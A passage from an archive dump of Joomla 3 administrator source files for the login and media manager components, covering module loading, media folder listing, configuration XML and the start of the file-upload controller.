		for ($i = 0; $i < $total; $i++)
		{
			// Match the title if we're looking for a specific instance of the module.
			if (!$title || $modules[$i]->title == $title)
			{
				$result = $modules[$i];
				break;
			}
		}

		// If we didn't find it, and the name is mod_something, create a dummy object.
		if (is_null($result) && substr($name, 0, 4) == 'mod_')
		{
			$result = new stdClass;
			$result->id = 0;
			$result->title = '';
			$result->module = $name;
			$result->position = '';
			$result->content = '';
			$result->showtitle = 0;
			$result->control = '';
			$result->params = '';
			$result->user = 0;
		}

		return $result;
	}

	/**
	 * Load login modules.
	 *
	 * Note that we load regardless of state or access level since access
	 * for public is the only thing that makes sense since users are not logged in
	 * and the module lets them log in.
	 * This is put in as a failsafe to avoid super user lock out caused by an unpublished
	 * login module or by a module set to have a viewing access level that is not Public.
	 *
	 * @param   string  $module  The name of the module.
	 *
	 * @return  array
	 *
	 * @since   1.7.0
	 */
	protected static function _load($module)
	{
		static $clean;

		if (isset($clean))
		{
			return $clean;
		}

		$app      = JFactory::getApplication();
		$lang     = JFactory::getLanguage()->getTag();
		$clientId = (int) $app->getClientId();

		/** @var JCacheControllerCallback $cache */
		$cache = JFactory::getCache('com_modules', 'callback');

		$loader = function () use ($app, $lang, $module) {
			$db = JFactory::getDbo();

			$query = $db->getQuery(true)
				->select('m.id, m.title, m.module, m.position, m.showtitle, m.params')
				->from('#__modules AS m')
				->where('m.module =' . $db->quote($module) . ' AND m.client_id = 1')
				->join('LEFT', '#__extensions AS e ON e.element = m.module AND e.client_id = m.client_id')
				->where('e.enabled = 1');

			// Filter by language.
			if ($app->isClient('site') && $app->getLanguageFilter())
			{
				$query->where('m.language IN (' . $db->quote($lang) . ',' . $db->quote('*') . ')');
			}

			$query->order('m.position, m.ordering');

			// Set the query.
			$db->setQuery($query);

			return $db->loadObjectList();
		};

		try
		{
			return $clean = $cache->get($loader, array(), md5(serialize(array($clientId, $lang))));
		}
		catch (JCacheException $cacheException)
		{
			try
			{
				return $loader();
			}
			catch (JDatabaseExceptionExecuting $databaseException)
			{
				JError::raiseWarning(500, JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $databaseException->getMessage()));

				return array();
			}
		}
		catch (JDatabaseExceptionExecuting $databaseException)
		{
			JError::raiseWarning(500, JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $databaseException->getMessage()));

			return array();
		}
	}
}
com_login/views/login/view.html.php000060400000001733152455305270013415 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_login
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Login component
 *
 * @since  1.6
 */
class LoginViewLogin extends JViewLegacy
{
	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 *
	 * @since  3.7.0
	 */
	public function display($tpl = null)
	{
		/**
		 * To prevent clickjacking, only allow the login form to be used inside a frame in the same origin.
		 * So send a X-Frame-Options HTTP Header with the SAMEORIGIN value.
		 *
		 * @link https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
		 * @link https://tools.ietf.org/html/rfc7034
		 */
		JFactory::getApplication()->setHeader('X-Frame-Options', 'SAMEORIGIN');

		return parent::display($tpl);
	}
}
com_login/views/login/tmpl/default.php000060400000001707152455305270014101 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_login
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Get the login modules
 * If you want to use a completely different login module change the value of name
 * in your layout override.
 */
$loginmodule = LoginModelLogin::getLoginModule('mod_login');
echo JModuleHelper::renderModule($loginmodule, array('style' => 'rounded', 'id' => 'section-box'));


/**
 * Get any other modules in the login position.
 * If you want to use a different position for the modules, change the name here in your override.
 */
$modules = JModuleHelper::getModules('login');

foreach ($modules as $module)
// Render the login modules

if ($module->module != 'mod_login'){
	echo JModuleHelper::renderModule($module, array('style' => 'rounded', 'id' => 'section-box'));
}
com_media/access.xml000060400000001150152455305270010445 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_media">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
	</section>
</access>
com_media/config.xml000060400000006477152455305270010472 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="component"
		label="COM_MEDIA_FIELDSET_OPTIONS_LABEL">
		<field
			name="upload_extensions"
			type="text"
			label="COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL"
			description="COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC"
			size="50"
			default="bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,TXT,XCF,XLS"
		/>

		<field
			name="upload_maxsize"
			type="number"
			label="COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL"
			description="COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC"
			validate="number"
			min="0"
			size="50"
			default="10"
		/>

		<field
			name="spacer1"
			type="spacer"
			label="COM_MEDIA_FOLDERS_PATH_LABEL"
			class="text"
		/>

		<field
			name="file_path"
			type="text"
			label="COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL"
			description="COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC"
			size="50"
			default="images"
			validate="filePath"
			exclude="administrator|api|bin|cache|cli|components|includes|language|layouts|libraries|media|modules|plugins|templates|tmp"
		/>

		<field
			name="image_path"
			type="text"
			label="COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL"
			description="COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC"
			size="50"
			default="images"
			validate="filePath"
			exclude="administrator|api|bin|cache|cli|components|includes|language|layouts|libraries|modules|plugins|templates|tmp"
		/>

		<field
			name="restrict_uploads"
			type="radio"
			label="COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL"
			description="COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="check_mime"
			type="radio"
			label="COM_MEDIA_FIELD_CHECK_MIME_LABEL"
			description="COM_MEDIA_FIELD_CHECK_MIME_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="restrict_uploads:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="image_extensions"
			type="text"
			label="COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL"
			description="COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC"
			size="50"
			default="bmp,gif,jpg,png"
			showon="restrict_uploads:1"
		/>

		<field
			name="ignore_extensions"
			type="text"
			label="COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL"
			description="COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC"
			size="50"
		/>

		<field
			name="upload_mime"
			type="text"
			label="COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL"
			description="COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC"
			size="50"
			default="image/jpeg,image/gif,image/png,image/bmp,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip"
			showon="restrict_uploads:1"
		/>

		<field
			name="upload_mime_illegal"
			type="text"
			label="COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL"
			description="COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC"
			size="50"
			default="text/html"
			showon="restrict_uploads:1"
		/>
	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_media"
			section="component"
		 />
	</fieldset>
</config>
com_media/models/manager.php000060400000011020152455305270012065 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Media Component Manager Model
 *
 * @since  1.5
 */
class MediaModelManager extends JModelLegacy
{
	/**
	 * Method to get model state variables
	 *
	 * @param   string  $property  Optional parameter name
	 * @param   mixed   $default   Optional default value
	 *
	 * @return  object  The property where specified, the state object where omitted
	 *
	 * @since   1.5
	 */
	public function getState($property = null, $default = null)
	{
		static $set;

		if (!$set)
		{
			$input = JFactory::getApplication()->input;

			$folder = $input->get('folder', '', 'path');
			$this->setState('folder', $folder);

			$fieldid = $input->get('fieldid', '');
			$this->setState('field.id', $fieldid);

			$parent = str_replace("\\", '/', dirname($folder));
			$parent = ($parent == '.') ? null : $parent;
			$this->setState('parent', $parent);
			$set = true;
		}

		return parent::getState($property, $default);
	}

	/**
	 * Get a select field with a list of available folders
	 *
	 * @param   string  $base  The image directory to display
	 *
	 * @return  html
	 *
	 * @since 1.5
	 */
	public function getFolderList($base = null)
	{
		// Get some paths from the request
		if (empty($base))
		{
			$base = COM_MEDIA_BASE;
		}

		// Corrections for windows paths
		$base = str_replace(DIRECTORY_SEPARATOR, '/', $base);
		$com_media_base_uni = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE);

		// Get the list of folders
		jimport('joomla.filesystem.folder');
		$folders = JFolder::folders($base, '.', true, true);

		$document = JFactory::getDocument();
		$document->setTitle(JText::_('COM_MEDIA_INSERT_IMAGE'));

		// Build the array of select options for the folder list
		$options[] = JHtml::_('select.option', '', '/');

		foreach ($folders as $folder)
		{
			$folder    = str_replace($com_media_base_uni, '', str_replace(DIRECTORY_SEPARATOR, '/', $folder));
			$value     = substr($folder, 1);
			$text      = str_replace(DIRECTORY_SEPARATOR, '/', $folder);
			$options[] = JHtml::_('select.option', $value, $text);
		}

		// Sort the folder list array
		if (is_array($options))
		{
			sort($options);
		}

		// Get asset and author id (use integer filter)
		$input = JFactory::getApplication()->input;
		$asset = $input->get('asset', 0, 'integer');

		// For new items the asset is a string. JAccess always checks type first
		// so both string and integer are supported.
		if ($asset == 0)
		{
			$asset = htmlspecialchars(json_encode(trim($input->get('asset', 0, 'cmd'))), ENT_COMPAT, 'UTF-8');
		}

		$author = $input->get('author', 0, 'integer');

		// Create the dropdown folder select list
		$attribs = 'size="1" onchange="ImageManager.setFolder(this.options[this.selectedIndex].value, ' . $asset . ', ' . $author . ')" ';
		$list = JHtml::_('select.genericlist', $options, 'folderlist', $attribs, 'value', 'text', $base);

		return $list;
	}

	/**
	 * Get the folder tree
	 *
	 * @param   mixed  $base  Base folder | null for using base media folder
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public function getFolderTree($base = null)
	{
		// Get some paths from the request
		if (empty($base))
		{
			$base = COM_MEDIA_BASE;
		}

		$mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE . '/');

		// Get the list of folders
		jimport('joomla.filesystem.folder');
		$folders = JFolder::folders($base, '.', true, true);

		$tree = array();

		foreach ($folders as $folder)
		{
			$folder   = str_replace(DIRECTORY_SEPARATOR, '/', $folder);
			$name     = substr($folder, strrpos($folder, '/') + 1);
			$relative = str_replace($mediaBase, '', $folder);
			$absolute = $folder;
			$path     = explode('/', $relative);
			$node     = (object) array('name' => $name, 'relative' => $relative, 'absolute' => $absolute);
			$tmp      = &$tree;

			for ($i = 0, $n = count($path); $i < $n; $i++)
			{
				if (!isset($tmp['children']))
				{
					$tmp['children'] = array();
				}

				if ($i == $n - 1)
				{
					// We need to place the node
					$tmp['children'][$relative] = array('data' => $node, 'children' => array());

					break;
				}

				if (array_key_exists($key = implode('/', array_slice($path, 0, $i + 1)), $tmp['children']))
				{
					$tmp = &$tmp['children'][$key];
				}
			}
		}

		$tree['data'] = (object) array('name' => JText::_('COM_MEDIA_MEDIA'), 'relative' => '', 'absolute' => $base);

		return $tree;
	}
}
com_media/models/list.php000060400000012701152455305270011435 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

/**
 * Media Component List Model
 *
 * @since  1.5
 */
class MediaModelList extends JModelLegacy
{
	/**
	 * Method to get model state variables
	 *
	 * @param   string  $property  Optional parameter name
	 * @param   mixed   $default   Optional default value
	 *
	 * @return  object  The property where specified, the state object where omitted
	 *
	 * @since   1.5
	 */
	public function getState($property = null, $default = null)
	{
		static $set;

		if (!$set)
		{
			$input  = JFactory::getApplication()->input;
			$folder = $input->get('folder', '', 'path');
			$this->setState('folder', $folder);

			$parent = str_replace("\\", '/', dirname($folder));
			$parent = ($parent == '.') ? null : $parent;
			$this->setState('parent', $parent);
			$set = true;
		}

		return parent::getState($property, $default);
	}

	/**
	 * Get the images on the current folder
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public function getImages()
	{
		$list = $this->getList();

		return $list['images'];
	}

	/**
	 * Get the folders on the current folder
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public function getFolders()
	{
		$list = $this->getList();

		return $list['folders'];
	}

	/**
	 * Get the documents on the current folder
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public function getDocuments()
	{
		$list = $this->getList();

		return $list['docs'];
	}

	/**
	 * Build imagelist
	 *
	 * @return  array
	 *
	 * @since 1.5
	 */
	public function getList()
	{
		static $list;

		// Only process the list once per request
		if (is_array($list))
		{
			return $list;
		}

		// Get current path from request
		$current = (string) $this->getState('folder');

		$basePath  = COM_MEDIA_BASE . ((strlen($current) > 0) ? '/' . $current : '');
		$mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE . '/');

		// Reset base path
		if (strpos(realpath($basePath), JPath::clean(realpath(COM_MEDIA_BASE))) !== 0)
		{
			$basePath = COM_MEDIA_BASE;
		}

		$images  = array ();
		$folders = array ();
		$docs    = array ();
		$videos  = array ();

		$fileList   = false;
		$folderList = false;

		if (file_exists($basePath))
		{
			// Get the list of files and folders from the given folder
			$fileList   = JFolder::files($basePath);
			$folderList = JFolder::folders($basePath);
		}

		// Iterate over the files if they exist
		if ($fileList !== false)
		{
			$tmpBaseObject = new JObject;

			foreach ($fileList as $file)
			{
				if (is_file($basePath . '/' . $file) && substr($file, 0, 1) != '.' && strtolower($file) !== 'index.html')
				{
					$tmp = clone $tmpBaseObject;
					$tmp->name = $file;
					$tmp->title = $file;
					$tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $file));
					$tmp->path_relative = str_replace($mediaBase, '', $tmp->path);
					$tmp->size = filesize($tmp->path);

					$ext = strtolower(JFile::getExt($file));

					switch ($ext)
					{
						// Image
						case 'jpg':
						case 'png':
						case 'gif':
						case 'xcf':
						case 'odg':
						case 'bmp':
						case 'jpeg':
						case 'ico':
							$info = @getimagesize($tmp->path);
							$tmp->width  = @$info[0];
							$tmp->height = @$info[1];
							$tmp->type   = @$info[2];
							$tmp->mime   = @$info['mime'];

							if (($info[0] > 60) || ($info[1] > 60))
							{
								$dimensions = MediaHelper::imageResize($info[0], $info[1], 60);
								$tmp->width_60 = $dimensions[0];
								$tmp->height_60 = $dimensions[1];
							}
							else
							{
								$tmp->width_60 = $tmp->width;
								$tmp->height_60 = $tmp->height;
							}

							if (($info[0] > 16) || ($info[1] > 16))
							{
								$dimensions = MediaHelper::imageResize($info[0], $info[1], 16);
								$tmp->width_16 = $dimensions[0];
								$tmp->height_16 = $dimensions[1];
							}
							else
							{
								$tmp->width_16 = $tmp->width;
								$tmp->height_16 = $tmp->height;
							}

							$images[] = $tmp;
							break;

						// Video
						case 'mp4':
							$tmp->icon_32 = 'media/mime-icon-32/' . $ext . '.png';
							$tmp->icon_16 = 'media/mime-icon-16/' . $ext . '.png';
							$videos[] = $tmp;
							break;

						// Non-image document
						default:
							$tmp->icon_32 = 'media/mime-icon-32/' . $ext . '.png';
							$tmp->icon_16 = 'media/mime-icon-16/' . $ext . '.png';
							$docs[] = $tmp;
							break;
					}
				}
			}
		}

		// Iterate over the folders if they exist
		if ($folderList !== false)
		{
			$tmpBaseObject = new JObject;

			foreach ($folderList as $folder)
			{
				$tmp = clone $tmpBaseObject;
				$tmp->name = basename($folder);
				$tmp->path = str_replace(DIRECTORY_SEPARATOR, '/', JPath::clean($basePath . '/' . $folder));
				$tmp->path_relative = str_replace($mediaBase, '', $tmp->path);
				$count = MediaHelper::countFiles($tmp->path);
				$tmp->files = $count[0];
				$tmp->folders = $count[1];

				$folders[] = $tmp;
			}
		}

		$list = array('folders' => $folders, 'docs' => $docs, 'images' => $images, 'videos' => $videos);

		return $list;
	}

	/**
	 * Get the videos on the current folder
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function getVideos()
	{
		$list = $this->getList();

		return $list['videos'];
	}
}
com_media/layouts/toolbar/uploadmedia.php000060400000000772152455305270014632 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$title = JText::_('JTOOLBAR_UPLOAD');
?>
<button data-toggle="collapse" data-target="#collapseUpload" class="btn btn-small btn-success">
	<span class="icon-plus icon-white" title="<?php echo $title; ?>"></span> <?php echo $title; ?>
</button>
com_media/layouts/toolbar/newfolder.php000060400000000761152455305270014331 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$title = JText::_('COM_MEDIA_CREATE_NEW_FOLDER');
?>
<button data-toggle="collapse" data-target="#collapseFolder" class="btn btn-small">
	<span class="icon-folder" title="<?php echo $title; ?>"></span> <?php echo $title; ?>
</button>
com_media/layouts/toolbar/deletemedia.php000060400000001634152455305270014606 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$title = JText::_('JTOOLBAR_DELETE');
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
?>
<script type="text/javascript">
(function($){
	// if any media is selected then only allow to submit otherwise show message
	deleteMedia = function(){
		if ( $('#folderframe').contents().find('input:checked[name="rm[]"]').length == 0){
			alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));
			return false;
		}

	MediaManager.submit('folder.delete');
	};

})(jQuery);
</script>

<button onclick="deleteMedia()" class="btn btn-small">
	<span class="icon-remove" title="<?php echo $title; ?>"></span> <?php echo $title; ?>
</button>
com_media/media.xml000060400000002346152455305270010273 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_media</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_MEDIA_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>media.php</filename>
		<folder>helpers</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_media.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>media.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>layouts</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_media.ini</language>
			<language tag="en-GB">language/en-GB.com_media.sys.ini</language>
		</languages>
	</administration>
</extension>

com_media/helpers/media.php000060400000011733152455305270011724 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Object\CMSObject;

/**
 * Media helper class.
 *
 * @since       1.6
 * @deprecated  4.0  Use JHelperMedia instead
 */
abstract class MediaHelper
{
	/**
	 * Checks if the file is an image
	 *
	 * @param   string  $fileName  The filename
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use JHelperMedia::isImage instead
	 */
	public static function isImage($fileName)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperMedia::isImage() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$mediaHelper = new JHelperMedia;

		return $mediaHelper->isImage($fileName);
	}

	/**
	 * Gets the file extension for the purpose of using an icon.
	 *
	 * @param   string  $fileName  The filename
	 *
	 * @return  string  File extension
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use JHelperMedia::getTypeIcon instead
	 */
	public static function getTypeIcon($fileName)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperMedia::getTypeIcon() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$mediaHelper = new JHelperMedia;

		return $mediaHelper->getTypeIcon($fileName);
	}

	/**
	 * Checks if the file can be uploaded
	 *
	 * @param   array   $file   File information
	 * @param   string  $error  An error message to be returned
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use JHelperMedia::canUpload instead
	 */
	public static function canUpload($file, $error = '')
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperMedia::canUpload() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$mediaHelper = new JHelperMedia;

		return $mediaHelper->canUpload($file, 'com_media');
	}

	/**
	 * Method to parse a file size
	 *
	 * @param   integer  $size  The file size in bytes
	 *
	 * @return  string  The converted file size
	 *
	 * @since   1.6
	 * @deprecated  4.0  Use JHtml::_('number.bytes') instead
	 */
	public static function parseSize($size)
	{
		try
		{
			JLog::add(
				sprintf("%s() is deprecated. Use JHtml::_('number.bytes') instead.", __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		return JHtml::_('number.bytes', $size);
	}

	/**
	 * Calculate the size of a resized image
	 *
	 * @param   integer  $width   Image width
	 * @param   integer  $height  Image height
	 * @param   integer  $target  Target size
	 *
	 * @return  array  The new width and height
	 *
	 * @since   3.2
	 * @deprecated  4.0  Use JHelperMedia::imageResize instead
	 */
	public static function imageResize($width, $height, $target)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperMedia::imageResize() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$mediaHelper = new JHelperMedia;

		return $mediaHelper->imageResize($width, $height, $target);
	}

	/**
	 * Counts the files and directories in a directory that are not php or html files.
	 *
	 * @param   string  $dir  Directory name
	 *
	 * @return  array  The number of files and directories in the given directory
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use JHelperMedia::countFiles instead
	 */
	public static function countFiles($dir)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperMedia::countFiles() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		$mediaHelper = new JHelperMedia;

		return $mediaHelper->countFiles($dir);
	}

	/**
	 * Generates the URL to the object in the action logs component
	 *
	 * @param   string     $contentType  The content type
	 * @param   integer    $id           The integer id
	 * @param   CMSObject  $mediaObject  The media object being uploaded
	 *
	 * @return  string  The link for the action log
	 *
	 * @since   3.9.27
	 */
	public static function getContentTypeLink($contentType, $id, CMSObject $mediaObject)
	{
		if ($contentType === 'com_media.file')
		{
			return '';
		}

		$link         = 'index.php?option=com_media&view=media';
		$uploadedPath = substr($mediaObject->get('filepath'), strlen(COM_MEDIA_BASE) + 1);

		// Now remove the filename
		$uploadedBasePath = substr_replace(
			$uploadedPath,
			'',
			(strlen(DIRECTORY_SEPARATOR . $mediaObject->get('name')) * -1)
		);

		if (!empty($uploadedBasePath))
		{
			$link = $link . '&folder=' . $uploadedBasePath;
		}

		return $link;
	}
}
com_media/controller.php000060400000004160152455305270011362 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Media Manager Component Controller
 *
 * @since  1.5
 */
class MediaController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JPluginHelper::importPlugin('content');

		$vType    = JFactory::getDocument()->getType();
		$vName    = $this->input->get('view', 'media');

		switch ($vName)
		{
			case 'images':
				$vLayout = $this->input->get('layout', 'default', 'string');
				$mName   = 'manager';

				break;

			case 'imagesList':
				$mName   = 'list';
				$vLayout = $this->input->get('layout', 'default', 'string');

				break;

			case 'mediaList':
				$app     = JFactory::getApplication();
				$mName   = 'list';
				$vLayout = $app->getUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word');

				break;

			case 'media':
			default:
				$vName   = 'media';
				$vLayout = $this->input->get('layout', 'default', 'string');
				$mName   = 'manager';

				break;
		}

		// Get/Create the view
		$view = $this->getView($vName, $vType, '', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));

		// Get/Create the model
		if ($model = $this->getModel($mName))
		{
			// Push the model into the view (as default)
			$view->setModel($model, true);
		}

		// Set the layout
		$view->setLayout($vLayout);

		// Display the view
		$view->display();

		return $this;
	}

	/**
	 * Validate FTP credentials
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function ftpValidate()
	{
		// Set FTP credentials, if given
		JClientHelper::setCredentialsFromRequest('ftp');
	}
}
com_media/controllers/file.json.php000060400000015547152455305270013447 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

/**
 * File Media Controller
 *
 * @since  1.6
 */
class MediaControllerFile extends JControllerLegacy
{
	/**
	 * Upload a file
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function upload()
	{
		$params = JComponentHelper::getParams('com_media');

		// Check for request forgeries
		if (!JSession::checkToken('request'))
		{
			$response = array(
				'status'  => '0',
				'message' => JText::_('JINVALID_TOKEN'),
				'error'   => JText::_('JINVALID_TOKEN')
			);
			echo json_encode($response);

			return;
		}

		// Get the user
		$user  = JFactory::getUser();
		JLog::addLogger(array('text_file' => 'upload.error.php'), JLog::ALL, array('upload'));

		// Get some data from the request
		$file   = $this->input->files->get('Filedata', '', 'array');
		$folder = $this->input->get('folder', '', 'path');

		// Instantiate the media helper
		$mediaHelper = new JHelperMedia;

		if ($_SERVER['CONTENT_LENGTH'] > ($params->get('upload_maxsize', 0) * 1024 * 1024)
			|| $_SERVER['CONTENT_LENGTH'] > $mediaHelper->toBytes(ini_get('upload_max_filesize'))
			|| $_SERVER['CONTENT_LENGTH'] > $mediaHelper->toBytes(ini_get('post_max_size'))
			|| $_SERVER['CONTENT_LENGTH'] > $mediaHelper->toBytes(ini_get('memory_limit')))
		{
			$response = array(
				'status'  => '0',
				'message' => JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'),
				'error'   => JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')
			);
			echo json_encode($response);

			return;
		}

		// Set FTP credentials, if given
		JClientHelper::setCredentialsFromRequest('ftp');

		if (isset($file['name']))
		{
			// Make the filename safe
			$file['name'] = JFile::makeSafe($file['name']);

			// We need a URL safe name
			$fileparts = pathinfo(COM_MEDIA_BASE . '/' . $folder . '/' . $file['name']);

			// Transform filename to punycode
			$fileparts['filename'] = JStringPunycode::toPunycode($fileparts['filename']);
			$tempExt = !empty($fileparts['extension']) ? strtolower($fileparts['extension']) : '';

